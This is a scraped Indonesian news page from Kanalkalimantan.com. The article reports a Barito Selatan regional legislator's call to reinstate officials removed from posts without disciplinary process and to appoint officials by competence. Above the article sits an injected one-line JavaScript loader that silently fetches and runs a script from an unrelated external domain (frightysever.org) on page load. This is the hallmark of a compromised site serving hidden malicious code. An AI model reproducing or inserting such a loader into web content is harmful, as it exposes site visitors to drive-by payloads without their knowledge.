(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Harus Berdasarkan Kompetensi, Pejabat Nonjob Kembalikan Sesuai Aturan


BUNTOK, Terkait Surat Kepala Deputi Bidang SDM Aparatur Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (Kemenpan RB) Nomor: B/486/SM.01.00/2019 tanggal 26 Juli 2019 tentang pembaruan data e-formasi tahun 2020-2024 di lingkup pemerintah daerah, Ketua Komisi I DPRD Kabupaten Barito Selatan (Barsel), H Raden Sudarto SH mengatakan, perlunya Pemkab Barsel melantik kembali pejabat eselon yang selama ini di-nonjob-kan tanpa ada proses hukuman disiplin, sebagaimana diatur dalam PP No 53 tahun 2010 tentang disiplin ASN.

“Sehingga tindakan me-nonjob-kan ASN harus dihentikan karena bertentangan dengan UU No 5 tahun 2014, tentang ASN jo PP No 11 tahun 2017 tentang manajemen ASN dan peraturan pelaksanaan lainnya, seperti Peraturan Kepala BKN No 5 tahun 2019 tentang tata cara pelaksanaan mutasi,” kata pria yang akrap disapa Alex kepada Kanalkalimantan.com.

Ia mengatakan,  bila mana mereka sebagian besar telah mengikuti diklat kepemimpinan, sebagai salah satu persyaratan  menduduki jabatan, penempatan pejabat eselon di lingkungan pemerintah harus sesuai dengan kompetensi pendidikan dan pengalaman kerja.

“Sehingga kita bisa berharap pejabat eselon tersebut dapat bekerja lebih profesional, Namun bila tidak sesuai kompetensi, maka jangan harap pejabat eselon tersebut bisa bekerja profesional. Sehingga target kinerja yang ditetapkan tidak bisa tercapai, oleh sebab itu  ya jangan dipindahkan ke dinas yang bukan kompetensinya, apalagi kalau di-nonjob-kan,” ujar Alex.

Ditambahkan olehnya sekaligus berharap kedepan hendaknya tidak ada lagi penempatan pejabat eselon berdasarkan suka tidak suka, tapi berdasarkan kompetensi.

“Bila kedepan masih saja penempatan PNS berdasarkan suka atau tidak suka, makanya untuk tahun 2020 dirinya menyarankan tidak perlu dianggarkan diklatpim,” tandas Alex. (digdo)

Reporter : Digdo
Editor : Bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.